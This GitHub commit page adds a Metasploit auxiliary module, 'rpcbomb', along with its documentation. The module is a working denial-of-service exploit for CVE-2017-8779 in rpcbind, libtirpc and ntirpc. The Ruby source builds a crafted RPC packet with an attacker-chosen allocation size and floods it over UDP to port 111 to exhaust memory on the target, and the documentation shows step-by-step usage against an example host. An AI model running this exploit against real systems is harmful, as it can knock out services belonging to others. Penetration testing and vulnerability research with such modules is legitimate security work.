Skip to content

Commit 851adf4

Browse files
committed
Land rapid7#8515, Rpcbomb DoS Module
2 parents 91c337b + bc3b883 commit 851adf4

File tree

3 files changed

+104
-1
lines changed

3 files changed

+104
-1
lines changed

data/markdown_doc/auxiliary_scanner_template.erb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
88
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
99
```
1010

11-
Other examples of setting the RHSOTS option:
11+
Other examples of setting the RHOSTS option:
1212

1313
Example 1:
1414

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
## Vulnerable Application
2+
3+
This module [exploits a vulnerability](http://openwall.com/lists/oss-security/2017/05/03/12) in rpcbind through 0.2.4,
4+
LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3.
5+
6+
Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.
7+
8+
## Verification Steps
9+
10+
1. Start msfconsole
11+
1. Do: `use auxiliary/dos/rpc/rpcbomb`
12+
1. Do: `set RHOSTS [IP]`
13+
1. Do: `run`
14+
1. Target should leak memory
15+
16+
## Scenarios
17+
18+
### rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64)
19+
20+
```
21+
msf > use auxiliary/dos/rpc/rpcbomb
22+
msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7
23+
RHOSTS => 10.0.2.7
24+
msf auxiliary(rpcbomb) > run
25+
26+
[*] Scanned 1 of 1 hosts (100% complete)
27+
[*] Auxiliary module execution completed
28+
msf auxiliary(rpcbomb) >
29+
```

modules/auxiliary/dos/rpc/rpcbomb.rb

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Auxiliary::Dos
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::UDPScanner
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc',
15+
'Description' => %q{
16+
This module exploits a vulnerability in certain versions of
17+
rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger
18+
large (and never freed) memory allocations for XDR strings on
19+
the target.
20+
},
21+
'Author' =>
22+
[
23+
'guidovranken', # original code
24+
'Pearce Barry <pearce_barry[at]rapid7.com>' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
[ 'CVE', '2017-8779' ],
29+
[ 'BID', '98325' ],
30+
[ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ]
31+
],
32+
'Disclosure Date' => 'May 03 2017'))
33+
34+
register_options([
35+
Opt::RPORT(111),
36+
OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate', 1000000]),
37+
OptInt.new('COUNT', [false, "Number of intervals to loop", 1000000])
38+
])
39+
end
40+
41+
def scan_host(ip)
42+
pkt = [
43+
0, # xid
44+
0, # message type CALL
45+
2, # RPC version 2
46+
100000, # Program
47+
4, # Program version
48+
9, # Procedure
49+
0, # Credentials AUTH_NULL
50+
0, # Credentials length 0
51+
0, # Credentials AUTH_NULL
52+
0, # Credentials length 0
53+
0, # Program: 0
54+
0, # Ver
55+
4, # Proc
56+
4, # Argument length
57+
datastore['ALLOCSIZE'] # Payload
58+
].pack('N*')
59+
60+
s = udp_socket(ip, datastore['RPORT'])
61+
count = 0
62+
while count < datastore['COUNT'] do
63+
begin
64+
s.send(pkt, 0)
65+
rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED
66+
vprint_error("Host #{ip} unreachable")
67+
break
68+
end
69+
count += 1
70+
end
71+
72+
vprint_good("Completed #{count} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes on host #{ip}:#{datastore['RPORT']}")
73+
end
74+
end

0 commit comments

Comments
 (0)